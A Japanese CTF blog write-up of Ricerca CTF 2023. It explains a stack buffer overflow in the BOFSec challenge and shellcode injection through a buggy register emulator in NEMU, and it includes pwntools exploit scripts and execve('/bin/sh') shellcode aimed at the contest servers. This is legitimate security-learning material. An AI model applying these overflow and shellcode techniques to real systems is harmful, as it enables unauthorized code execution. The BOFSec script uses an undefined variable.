writeUP ↑↑↑

勉強会やCTFのwriteupをのこす(つもり)

Ricerca CTF 2023 参加記 - writeup

はじめに

何日ぶりだろう...てくらい久々にCTFをがっつりやりました。ていうのも最近お金がなくて、twitterをボケっと見てたら「日本の学生上位3チームには賞金が出ます!」というのにつられて始めました。しかも有名なリチェルカさんがやるってことだったので興味あったんですよね。ということで、この度は学内で有志を募って挑んでまいりました。

結果

いつも通り早稲田大学のチームm1z0r3で参加しました。結果は全体20位、日本の学生のみだと4位か5位でした。入賞は3位からだったので、もうちょっと頑張れば...と後悔の念が出てきます。まあチームとしても最近はあまり活動してなかったので、復活戦としてはまずまずじゃないかなあと思っています。僕は大体pwnかrevしかやらんのですが、今回このジャンルの問題が豊富でしたよね!(たぶんyudaiさんがいるから)。とてもよかったです。

できた問題は無念ながら

  • BOFSec
  • NEMU

だけでした。今日はとりあえずできた問題のwriteupだけ書きますが、来週くらいにできなかった問題の復習として

あたりのwriteupを書いてみようかなと思います。ということで上記の問題解けた方、writeupを残していただけると泣いて喜びます。

writeup

BOFSec(pwn, warmup)

初心者向けの問題です。 ソースコードmain()がこんな感じです

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();
  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

要約すると、main()4行目のif文でuser.is_adminが0じゃなければflagが出る、ということです。userauth_t型の定義はこれです。

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

攻撃は

  • get_auth()内のscanf()で、0x100バイトを超える入力を入れる

だけで成功します。scanf()はフォーマットに"%s"を指定すると際限なく読み込みをしてしまうので、簡単にバッファオーバーフローが起きます。その結果、0x100を超える入力は、隣接しているis_adminを上書きしてしまいます。その結果、main()内のif文が真になりフラグが出力されるという流れになります。

コピペ用の攻撃コードです。python3 solver.pygdbが起動するので、初心者の方は処理を追ってみるといいかなと思います。

from pwn import *
HOST = "bofsec.2023.ricercactf.com"
PORT = 9001
CHALL_BIN = "./chall"
context.log_level = "DEBUG"
gs = '''
b main
c
'''

context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)

def exploit():
    io.sendline("a"*0x101)
    print()

io = start()
exploit()
io.interactive()

NEMU

個人的には初めての仮想VM的な問題でした。ここから何度がグッと上がります。

調査

checksecとか使うとスタック領域が実行可能になっているのが分かります。ということは、攻撃のゴールはシェルコードを実行させることです。まずはどんなバイナリか見ていきます。

Welcome to NEMU!
We now only have following 6 instructions:
     1) LOAD [imm]: Load value [imm] into ACC register
     2) MOV  [reg]: Copy data stored in AC register into [reg] register
     3) INC  [reg]: Increment the value stored in [reg] register
     4) DBL  [reg]: Double the value stored in [reg] register
     5) ADDI [imm]: Add value [imm] to the value of ACC register
     6) ADD  [reg]: Add value stored in [reg] register to the value of ACC register
Current register status: 
REG1(r1): 0x00000000
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000000

実行するとこんな出力が出ます。どうやら簡易的な命令とレジスタをエミュレートするプログラムのようです。使うときはopcodeの番号と、operand(即値は#レジスタrをつけて書く)を入力すると実行されます。以下は#5ACCにロードさせた例です。

opcode: 1
operand: #5
Current register status: 
REG1(r1): 0x00000000
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000005

僕はとりあえずなんも考えずに触っていたらバグを見つけました。こんな命令を実行しました。

LOAD #5
MOV r1
ADD r1

実行すると、こんな状態になります。

Current register status: 
REG1(r1): 0x0000007d
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000082

ADDはoperandのレジスタACCに加える命令なので、r1=5, ACC=10になっているのが正解です。しかし、実際にはACCREG1もおかしな値になっていますね。ここで、GDBを使って中で何が起こっていたかを見てみましょう。まず、main()に入ってすぐのスタックの状態がこんな感じです。

ここで、LOAD #5を実行するとこうなります(ACCに書き込まれます)

次にMOV r1を実行するとこうなります。(r1にコピーされます)

ソースコードではレジスタmain()のローカル変数として定義されています。つまりスタック上に確保されます。

int main() {
  void *op_fp, *read_fp;
  uint64_t operand;
  int32_t r1 = 0, r2 = 0, r3 = 0, a = 0;

これと見比べても、ここらへんの領域がレジスタの値を保持しているようです。(別の実行時に取ったスクショです。。右上がACC、左上r3、右下r2、左下r1

では、ADD r1が実行されるとどうなるでしょうか?実行を丁寧に追っていくと、こんなコードを実行しているのがわかります。

なにやら、raxの参照先にraxの下位1バイトを加算していますね。この時のraxの値はr1のアドレスなので、この命令のせいでr1ACCの値がおかしくなっているのだなとわかります。実はこの命令、0x0000を命令と解釈したものなので、何かバグが起きているのではないかな?と気づけます。ここでripのアドレスをよく見てみると、スタック領域でかつr1のすぐ下のアドレスであることがわかります。実はこの領域、もともとは命令が書いてあったんですが、MOV r1r1に書き込んだときに0x00000000が書き込まれてしまっているんです。少し前のスクショを見てもらうとわかるかと思います。

ここまででわかったことをまとめます。

  • スタックは実行可能になっている
  • レジスタはスタック領域に格納されている
  • r1の上の領域はバグが起こせる
  • ADD命令で、r1の上の領域の命令を実行できる

これらを総合すると以下のようなシナリオが考えられます。

  • レジスタ命令を書き込んで、スタック内でシェルコードを完成させる
  • r1の上の領域にシェルコードのエントリを書き込む(シェルコード本体へのジャンプ)
  • ADD命令で発火

Exploit

まずは命令を好き放題書き込むことが可能なのか考えてみます。MOV命令はバグにより上位4バイトを符号拡張した8バイト単位でコピーします。しかし、これだけでは何もできないのでDBL命令を使います。この命令も8バイト単位で値を2倍します。2倍するというのは左シフト1回分に等しいので、r1に書き込んだ値を32回2倍すればr1の上の領域に書き込むことができます。それ以外の領域はMOV命令のバグに気を付けつつ左シフトを駆使することで、好きな値を書き込むことができます。

しかし、書き込める領域がすごい小さいんですよね。。。これがこの問題の悩みどころでした。一般にシェルコードの目的は、execve("/bin/sh", NULL, NULL);を実行することなので、アセンブリではこのように書きます。

mov rax, 59  ; syacall命令実行時にexecveを呼ぶよう指定
mov rdi "/bin/sh"  ; 第1引数
mov rsi, 0  ; 第2引数
mov rdx, 0  ; 第3引数
syscall  ; execve("/bin/sh", NULL, NULL);

db: 
   "/bin/sh"

もちろん"/bin/sh"もバイナリとして書き込む必要があります。これが結構スペースを食うんですよね。ということで、どうしたら短縮できるかを考えます。

もし第二引数(rsi)と第三引数(rdx)がもともと0(NULL)ならmov rsi, 0とかはいらなくなります。実際にADD命令実行時のx86_64のレジスタを見てみると、こうなっています。

何と0になっていますね!これで何とか書けそうです。ちなみにrdiもスタック領域を指しているので、movするよりsubで減算させた方が使うメモリが少なく済みます。最後にmov rax, 59ですが、push 59; pop raxにすると3バイトで済ませることができます。また、push 59の方は2バイトなので、r1の上にjmp命令の前に書き込むこともできます。これらの工夫をした結果、シェルコードはこんな感じになりました。

head: 
  pop rax
  sub rdi, 0x4
  syscall
  0x00
  "/bin/sh"
  0x00
  push 59 ; ←ADD命令後、ここから実行が始まる
  jmp head

このExploitコードを実行するといい感じにスタック上にシェルコードを配置してくれます。

# -*- coding: utf-8 -*-
from pwn import *
HOST = "nemu.2023.ricercactf.com"
PORT = 9002

CHALL_BIN = "./chall"
CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
#context.terminal  = ['tmux', 'split-window', '-h']
context.log_level = "DEBUG"
gs = '''
b *(&main+0x3b2)
c
'''

context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)


def load(imm):
    io.sendlineafter("opcode:", "1")
    io.sendlineafter("operand:", "#" + str(imm))

def mov(reg):
    io.sendlineafter("opcode:", "2")
    io.sendlineafter("operand:", "r" + str(reg))

def inc(reg):
    io.sendlineafter("opcode:", "3")
    io.sendlineafter("operand:", "r" + str(reg))

def dbl(reg):
    io.sendlineafter("opcode:", "4")
    io.sendlineafter("operand:", "r" + str(reg))

def addi(imm):
    io.sendlineafter("opcode:", "5")
    io.sendlineafter("operand:", "#" + str(imm))

def add(reg):
    io.sendlineafter("opcode:", "6")
    io.sendlineafter("operand:", "r" + str(reg))


def exploit():
    load(0xeceb3b6a>>1)
    mov(1)
    for i in range(0, 33):
        dbl(1)
    load(u32(b"/sh\0"))
    mov(2)
    for i in range(0, 32):
        dbl(2)
    load(u32(b"/bin"))
    mov(3)
    for i in range(0, 32):
        dbl(3)
    load(0x050f04)
    for i in range(0, 32):
        dbl(0)
    load(0xef834858)
    add(1)


io = start()
exploit()
io.interactive()

終わりに

実は別のチームメンバーがNEMUをstagerで解いていました。勉強不足なのであまりやり方はよく知らないんですが、最初にreadシステムコールを呼び出してシェルコードを書き足していくやり方みたいです。そう考えるとstagerの方がいろいろな場合に対応できるので賢いな~と思い勉強させていただきました笑 他のpwnの問題はexit()後に呼ばれる関数ポインタをいじって任意の呼び出しをする問題や、ヒープガチャガチャ問でした。ヒープはtcacheの仕様がglibc2.35くらいから変わって、そのあたりからCTFではやらなくなってしまったので久しぶりにやりたいですね。来週くらいにまた復習しようと思うので、解けてないけどwriteup書こうかなと思います。

それでは~